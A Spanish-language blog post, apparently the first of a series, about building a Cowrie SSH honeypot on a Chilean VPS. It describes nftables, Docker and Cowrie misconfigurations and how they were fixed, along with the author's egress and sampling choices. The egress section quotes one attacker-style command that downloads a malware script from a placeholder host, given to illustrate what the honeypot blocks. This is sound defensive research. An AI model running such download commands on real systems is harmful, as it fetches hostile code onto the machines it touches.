Tres formas de romper un honeypot antes de exponerlo
Esta semana monté un honeypot SSH en un VPS en Santiago de Chile, para responder una pregunta concreta sobre el tráfico de ataque que llega a LATAM.
Si es la primera vez que escuchas el término: un honeypot es un servidor señuelo. Se expone a internet a propósito para que los atacantes intenten entrar, y todo lo que hacen queda registrado. El que usé es Cowrie, que simula un servidor SSH: acepta el login, muestra un shell falso y guarda cada credencial y cada comando que el atacante escribe, sin darle acceso a nada real.
Hoy arrancó la ventana de recolección formal con el puerto 22 (el puerto estándar de SSH) expuesto. Este post es sobre las horas anteriores: nada de lo que falló se manifestó como un error obvio.
Es la primera entrega de una serie. Al cierre de la ventana viene la segunda, con todo lo que se capturó.
La forma del sistema
Así viaja un intento de conexión, desde que un escáner toca el puerto 22 hasta que queda escrito en disco:
- internet → :22 firewall del VPS, el 22 abierto a todo el mundo
- nftables - DNAT en prerouting se redirige :22 al contenedor. El SSH real de administración vive en otro puerto
- nftables - hook forward aquí se decide si el paquete llega al contenedor. Fallo #1
- docker - userland-proxy off en mi configuración, sin esto los eventos registran una IP interna en vez de la del atacante
- cowrie el shell falso: registra credenciales, comandos y la sesión completa
- cowrie.json un evento por línea
- egress → DROP el contenedor no puede salir a internet. Trade-off a propósito, abajo lo explico
Los fallos
Van en el orden en que los encontré, y ese orden importa: cada uno tapaba al siguiente. Mientras el fallo #1 estaba activo no llegaba ni un paquete al contenedor, así que el #2 era invisible. Y hasta arreglar el #2 no tenía forma de saber que el #3 existía.
1. La cadena forward descartaba las conexiones nuevas
- internet :22
- →
- nftables forward
- →
- docker
- →
- cowrie
Este lo encontré revisando, no depurando.
nftables funciona con reglas: cada paquete se compara contra una lista, y si ninguna regla
lo acepta, se aplica la política por defecto de la cadena. La mía era drop: descartar en
silencio.
El problema: mi cadena forward solo aceptaba conexiones ya establecidas. Las
conexiones nuevas hacia el contenedor, es decir, el cebo, no coincidían con
ninguna regla de accept:
chain forward {
type filter hook forward priority filter; policy drop;
ct state established,related accept
# ...y nada más
}
conexión nueva → sin regla que la acepte → DROP silencioso
chain forward {
type filter hook forward priority filter; policy drop;
ct state established,related accept
iif "eth0" ip daddr 172.20.0.2 tcp dport 2222 ct state new accept
}
conexión nueva hacia el cebo → ACCEPT
Mi primer arreglo fue
ip daddr 172.20.0.0/16 ct state new accept, que funciona pero abre conexiones nuevas
hacia cualquier contenedor de esa red y en cualquier puerto. En un proyecto cuyo
objetivo es controlar con precisión qué queda expuesto, eso es exactamente lo que no
quiero. La versión de arriba fija interfaz de entrada, IP de destino y puerto.
No dio ningún síntoma por dos razones: el puerto 22 todavía no estaba expuesto, así que no
había tráfico real que descartar, y mis reglas no llevaban counter explícito, así que
tampoco había contadores que delataran el drop. Un drop sin counter no deja rastro de
ningún tipo.
Si llego a exponer el puerto sin revisar, habría tenido un honeypot perfectamente sano que no recibía absolutamente nada, y me habría costado días entender por qué.
2. Docker enmascaraba todas las IPs de origen
El peor de los tres, y el que peor entendí al principio.
Docker trae un intermediario en userspace, el userland-proxy. Cuando ese proceso está en la ruta de datos, la conexión que ve el contenedor la abre él, no el atacante: la dirección de origen que registra Cowrie es la del bridge, no la real.
- atacante 203.0.113.7
- →
- docker userland-proxy
- →
- cowrie ve 172.20.0.1
{"eventid": "cowrie.session.connect", "src_ip": "172.20.0.1"}/etc/docker/daemon.json → { "userland-proxy": false }
{"eventid": "cowrie.session.connect", "src_ip": "203.0.113.7"}El 172.20.0.1 que veía en cada evento
es la IP del gateway del bridge, que es justamente desde donde el proxy abre la conexión
interna. Coherente hasta el último detalle, y por eso no parecía un error.
El impacto: toda la fase 2 del proyecto consiste en enriquecer las IPs de atacante (de qué país vienen, a qué red pertenecen, si tienen historial de abuso). Con este “bug”, cero IPs reales. Siete días de recolección para producir un dataset sin la única columna que importa.
La solución fue una línea de configuración. Lo encontré solo porque me conecté desde una máquina externa y miré el JSON, en vez de dar por buena la conexión.
3. Login exitoso, sesión cortada, cero comandos
- conexión
- →
- login ok
- →
- credenciales
- →
- abrir shell
- →
- comandos
Cowrie aceptaba la autenticación y registraba las credenciales, pero la sesión moría justo al abrir el shell falso:
FileNotFoundError: var/lib/cowrie/tty/<sesión>.log (en ttylog_open)
La causa era que faltaba crear dos subdirectorios (tty/ y downloads/) donde
Cowrie guarda las grabaciones de sesión. Durante unas dos horas de exposición a internet
registré conexiones y credenciales y ningún comando post-login, que es justamente el
dato con valor. Esos datos quedaron descartados.
El trade-off: el honeypot no puede salir a internet
El contenedor tiene el tráfico de salida (egress) bloqueado. Esto significa que pierdo
las muestras de malware: si un atacante ejecuta wget http://algo/malware.sh para
descargar sus herramientas, la descarga falla y no me quedo con el binario.
Es deliberado. Un honeypot con salida libre puede terminar usándose para atacar a terceros: infraestructura de ataque de otro, alojada y pagada por mí. Cowrie igualmente registra la URL que el atacante intentó descargar, y para mi pregunta de investigación eso es suficiente. La muestra la puedo buscar después en otras fuentes.
El sesgo que no puedo arreglar
Y probablemente lo más importante del día. El sensor vive en un datacenter de hosting, no en una casa ni en una oficina. Geográficamente es LATAM, pero para los escáneres eso no da igual: muchos segmentan por tipo de red, y lo que barre rangos de datacenter no es lo mismo que lo que barre conexiones residenciales o corporativas.
O sea: este sensor mide qué le pasa a un VPS alojado en Chile. No mide qué le pasa a la infraestructura chilena. Lo dejé escrito en las limitaciones antes de tener un solo resultado.
Ahora: no tocar nada
La ventana de recolección va del 19 al 26 de julio: siete días sin modificar el sensor. Ya tengo tres mejoras identificadas, y quedan congeladas hasta el día 7.
La razón: si toco el sensor a mitad de ventana, un pico de tráfico el jueves deja de ser interpretable. ¿Cambió internet o cambié yo? Sin línea base estable no hay nada que comparar, y las ganas de “mejorar” durante la recolección son el modo de fallo clásico de este tipo de proyecto.
También quedó elegida la pregunta de investigación: qué proporción del tráfico es ruido automatizado y qué proporción es interacción real post-autenticación.
La primera hora, sin ir más lejos, ya trajo algo que no esperaba: una parte de los bots intenta autenticarse por clave pública, no solo por contraseña. Que un bot pruebe claves públicas al azar contra un host cualquiera es, a primera vista, interesante(?). Tengo una hipótesis de por qué lo hacen.
Eso, y los números reales, en la parte 2 - el 26 de julio.